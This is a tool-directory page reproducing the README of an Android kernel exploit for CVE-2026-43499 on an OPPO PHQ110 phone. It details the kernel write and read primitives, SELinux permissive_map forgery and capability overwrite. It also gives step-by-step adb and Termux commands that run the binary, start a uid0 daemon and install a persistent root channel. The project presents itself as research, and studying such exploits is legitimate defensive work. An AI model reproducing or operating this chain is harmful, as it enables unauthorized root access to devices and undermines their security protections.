Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43499-phq110-root — PHQ110(OPPO OP5613 / Android 14 / C.53)内存态 uid0 研究快照:CVE-2026-43499 GhostLock 链 + uid0 rootd + Shizuku。不写分区、不持久化。 | Kitploit
Tools/GitHubGitHub/delta-water/cve-2026-43499-phq110-root
Android SecurityPrivilege EscalationMemory ForensicsExploitationReverse EngineeringPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation
Share
GitHubdelta-water/cve-2026-43499-phq110-root

CVE-2026-43499-phq110-root

PHQ110(OPPO OP5613 / Android 14 / C.53)内存态 uid0 研究快照:CVE-2026-43499 GhostLock 链 + uid0 rootd + Shizuku。不写分区、不持久化。

View Repository
42449 days agoNot yet reviewed

PHQ110 In-Memory root

On OPPO PHQ110 (Android 14 / C.53 / kernel 5.4.254-qgki), starting from an ordinary adb shell and using CVE-2026-43499 (GhostLock) to obtain uid0.

No flashing, no bootloader unlock, no writing to any partition, no touching user data. The cost is: it only lives in memory and disappears on reboot.

This is not an app, nor is it a flashing package. It is an auditable research snapshot: a 1 MB static aarch64 binary, accompanying source code, a Termux client, and documentation that spells out every address, every offset, and every failure.


What it actually achieves

Starting from uid=2000 / u:r:shell:s0 (the default identity of adb shell, which can do almost nothing), in a single run:

StageResultEvidence level
A. In-memory uid0The process's uid/euid/gid all become 0, CapEff ⊇ 0xc6, the SELinux domain is still u:r:shell:s0, and enforcing remains = 1 throughoutVerified on real device (two independent cold boots)
B. A usable root channelForks a uid0 rootd listening on 127.0.0.1:10369, authenticated with a 32-byte secretVerified on real device
C. Obtaining root on the phone sideIn Termux, termux_uid0.py ... id → uid=0 ... ctx=u:r:shell:s0Verified on real device
D. Shizuku running as rootshizuku_server starts as uid0, binder delivery completes, shizuku.json is written to diskVerified on real device (server side)
E. Can rish on the app side really escalate privileges?Not verifiedPending human testing in an authorized app

The most counterintuitive point is that SELinux is not turned off. enforcing is always 1; we merely make SELinux treat the single domain shell as "permissive" for capability checks—by pointing policydb->permissive_map to a page of forged ebitmap. The rest of the machine remains enforcing for all other apps; the untrusted_app_27 domain where Termux resides does not have this opening.


The principle, in six sentences

adb shell (uid 2000, shell 域, Enforcing)
  │
  ├─ ① 6 发「读」  把内核当内存读写器:找到本进程的 task_struct → cred → selinux_state
  ├─ ② 2 发「写」  把 permissive_map 指向 pmsg 页里的 fake ebitmap(只放行 shell 域)
  ├─ ③ 5 发「写」  把 cred 里 5 个 capability 字段改成受控值 V
  ├─ ④ setresgid/setresuid(0,0,0)   ← 此刻 enforcing 仍=1,但 shell 域已被放行
  ├─ ⑤ fork rootd(不走 exec,所以 uid0 与 caps 原样保留)→ 127.0.0.1:10369
  └─ ⑥ 可选 fork+exec Shizuku starter → shizuku_server 以 uid0 运行
  1. Vulnerability: CVE-2026-43499 (internal codename GhostLock). A three-thread PI-futex deadlock ring leaves a dangling rt_mutex_waiter on the victim thread's kernel stack; subsequently sched_setattr triggers rb_erase, yielding a controlled 8-byte write.
  2. Read is also write: write the target address −8 into the data slot of tcp_mem, then read /proc/.../tcp_mem — the kernel copies out those 16 bytes for us. The side effect is that every read corrupts target−8.
  3. Why the cap value looks weird like base+0x830C6: the value of the write primitive cannot be 0 (a zero-value write will directly kill the process); a non-zero value will also be dereferenced by the kernel as a pointer for a second write. So the cap value must be something that "both contains the 0xC6 bit and is a valid kernel pointer".
  4. Why the cred pointer cannot be changed: swapping in &init_cred would make the SID become u:r:kernel:s0 (the delivery leg fails outright), and a static object being freed by put_cred will inevitably panic. Only in-place field modification is possible.
  5. Why KASLR is not a problem: each boot uses perf_event_open to sample kernel IPs and solve for the slide D on the spot; it proceeds only if two independent samples agree, otherwise it aborts cleanly (never fires at a wrong address).
  6. Why it can only run once per boot: the first run leaves a permissive_map in the kernel pointing to the pmsg page, and the fake structures in that page will be trampled by a second run. To start over, simply reboot the phone.

The full derivation, the target address and source of each shot, and the success criteria and failure surface of each shot are all in ARCHITECTURE.md.


How to use

What you need

  • An OPPO PHQ110 (OP5613), Android 14 / version C.53, kernel 5.4.254 — all link-time constants are for this machine and this build, switching models/builds makes it unusable;
  • A working adb;
  • Termux installed on the phone (with python3);
  • A clean boot: Enforcing, shell domain, /proc/kallsyms and /sys/fs/pstore unreadable to shell.

Three steps

# 1) 前置只读检查:任何一项不对就停,不要 push
adb shell getenforce                          # 必须 Enforcing
adb shell cat /proc/self/attr/current          # 必须 u:r:shell:s0
adb shell 'head -1 /proc/kallsyms; echo rc=$?' # 必须被拒(能读 = 本 boot 已被武装过)

# 2) 推上去 + 复核指纹
adb push build/glx_p11n /data/local/tmp/glx_p11n.r<NN>
adb shell chmod 755 /data/local/tmp/glx_p11n.r<NN>
adb shell sha256sum /data/local/tmp/glx_p11n.r<NN>
#   期望 90b9e66b0122fc94bb4decba731359fa4b6e7e828654cfdb603fd448106549e4

# 3) 跑一次(必须真 pty,否则崩溃前的日志会被吞掉)
adb shell -t -t 'cd /data/local/tmp && ./glx_p11n.r<NN> --mode device --round <NN> \
  --stop-after=shzlaunch --shz-after-deliver --deliver-fork \
  --zd=tcp --zd-port=10369 --zd-client-selftest; echo GLX_SHELL_EXIT=$?'

Run it in Termux:

python3 ~/termux_uid0.py --chan=tcp --port=10369 --secret-file="$HOME/zd_secret" id
# → uid=0 euid=0 gid=0 pid=<rootd pid> ctx=u:r:shell:s0

After obtaining uid0, there is still one more step: deploy rootgate as a persistent channel. rootd is only a springboard (lifespan 1–5 minutes, connection budget of 32), not a daily-use channel:

cp ops/rootx.py ops/deploy_root.py ops/rootgate_client.py ~/bin/ && chmod 700 ~/bin/*.py
adb push ops/rootgate.sh /data/local/tmp/ && adb shell chmod 755 /data/local/tmp/rootgate.sh
python3 ~/bin/deploy_root.py 10370          # 只花 rootd 1 条连接预算
python3 ~/bin/rootx.py 'id'                 # 之后的唯一入口

原理与完整步骤见 ops/OPS.md。

<NN> 只是个轮次标签(进文件名和日志,不参与逻辑),随便给个整数。 每个 boot 只跑一次;想再来一遍就正常重启手机(不是 fastboot,也不是 9008/EDL)。

完整的参数解释、逐阶段判据、Termux 客户端全部子命令、故障排查表 → USAGE.md。


它有多「轻」

写分区零。不碰 boot/system/vendor/userdata,不 remount
持久化零。重启即全部恢复
改用户数据零
第三方依赖零。单个静态二进制,无动态库、无 su、无 Magisk
最坏结果内核 oops → panic_on_oops=1 让手机自动重启,约 5 秒,数据无恙

代价是另一面:交付的 rootd 一死,这次 boot 的 uid0 就永久没了,只能再重启一次 —— 二进制里没有 keeper / 自我重生机制(设计过,没实现)。

ops/ 的运维层绕开了这条:跑完立刻用 rootd 的一条连接把 uid0 的 rootgate 部署成 常驻进程(脱离 pty、PPid=1),之后 rootd 死不死都不影响日常使用,见 ops/OPS.md。


安全边界:请认真读这一段

rootd 监听的是 TCP 127.0.0.1:10369。在 Android 上,loopback 不是信任边界—— 任何一个有 INTERNET 权限的 App 都能连上它。

唯一的门是 /data/data/com.termux/files/home/zd_secret (64 个十六进制字符 = 32 字节随机值,权限 0600,属主是 Termux 的 uid):

  • 这个 secret 泄露 = 把 uid0 送给全机所有应用。 不要 cat、不要截图、不要放进日志或云同步。
  • 认证失败累计 3 次,daemon 会自杀(fail-closed)——所以别拿错的 secret 反复试。
  • 想彻底解决这个问题,应该换成 AF_UNIX socket + 目录 0600 + SO_PEERCRED。 交付二进制里没有这个改进,仍是 TCP + secret;ops/rootgate.py 按这个方向实现了 一版独立的常驻通道(不监听任何网络端口、逐连接校验对端 uid),可以作为替代,见 ops/OPS.md。

rootd 的协议里也没有写文件的操作(帧类型 G/I/R/X/F/P/Q,没有 W): 它自己能读文件、能 exec,但不是一个「任意文件写入器」。


目录里有什么

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →